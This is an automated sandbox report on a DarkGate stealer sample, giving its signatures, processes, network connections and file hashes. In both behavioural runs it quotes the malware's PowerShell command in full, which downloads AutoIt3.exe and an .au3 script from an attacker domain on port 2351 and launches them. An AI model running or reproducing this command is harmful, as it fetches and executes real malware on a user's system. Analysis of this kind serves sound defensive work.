Malware Analysis Report

2024-11-30 11:22

Sample ID 231104-b4rxvsdf94
Target 2bacda979c484df5fd7784c99fc455b7.bin
SHA256 bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a

Threat Level: Known bad

The file 2bacda979c484df5fd7784c99fc455b7.bin was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-04 01:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-04 01:42

Reported

2023-11-04 01:44

Platform

win7-20231023-en

Max time kernel

118s

Max time network

121s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\2bacda979c484df5fd7784c99fc455b7.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\2bacda979c484df5fd7784c99fc455b7.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

Network

N/A

Files

memory/2364-4-0x000000001B340000-0x000000001B622000-memory.dmp

memory/2364-5-0x0000000002270000-0x0000000002278000-memory.dmp

memory/2364-6-0x000007FEF4FD0000-0x000007FEF596D000-memory.dmp

memory/2364-7-0x0000000002780000-0x0000000002800000-memory.dmp

memory/2364-8-0x0000000002780000-0x0000000002800000-memory.dmp

memory/2364-9-0x000007FEF4FD0000-0x000007FEF596D000-memory.dmp

memory/2364-10-0x0000000002780000-0x0000000002800000-memory.dmp

memory/2364-11-0x000007FEF4FD0000-0x000007FEF596D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-04 01:42

Reported

2023-11-04 01:44

Platform

win10v2004-20231020-en

Max time kernel

142s

Max time network

153s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\2bacda979c484df5fd7784c99fc455b7.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\2bacda979c484df5fd7784c99fc455b7.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" bbdthtgy.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 jeraldsin3dsajdklafdmonk.com udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 144.241.123.195.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 195.123.241.144:2351 jeraldsin3dsajdklafdmonk.com tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 146.99.217.23.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 48.254.221.88.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 107.116.69.13.in-addr.arpa udp

Files

memory/4756-0-0x0000024D35510000-0x0000024D35532000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mp1mazow.h0p.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4756-10-0x00007FF99D1A0000-0x00007FF99DC61000-memory.dmp

memory/4756-11-0x0000024D354D0000-0x0000024D354E0000-memory.dmp

memory/4756-12-0x0000024D354D0000-0x0000024D354E0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/4756-26-0x00007FF99D1A0000-0x00007FF99DC61000-memory.dmp

C:\tepp\bbdthtgy.au3

MD5 bbb0f7cd40ed7c626e70c58ee40d6dd5
SHA1 5f6c932f058693f4cdcd70540981064b683c4d7a
SHA256 04b46fa60521d98a81f9f0aca164f9a0cc36a6c2d30f326836e188ea2325849e
SHA512 c78a9de93da19287ccb5fc346084c3eb1bff883cd161b7dc7489f6472fc4355080f358fec3f0d2b92d276e449c58d3ab943164f0d5a7f6d5a00cdc784ab11b1b

memory/2820-29-0x0000000003C40000-0x0000000003D40000-memory.dmp

memory/2820-30-0x0000000004330000-0x00000000044C5000-memory.dmp

memory/2820-31-0x0000000004330000-0x00000000044C5000-memory.dmp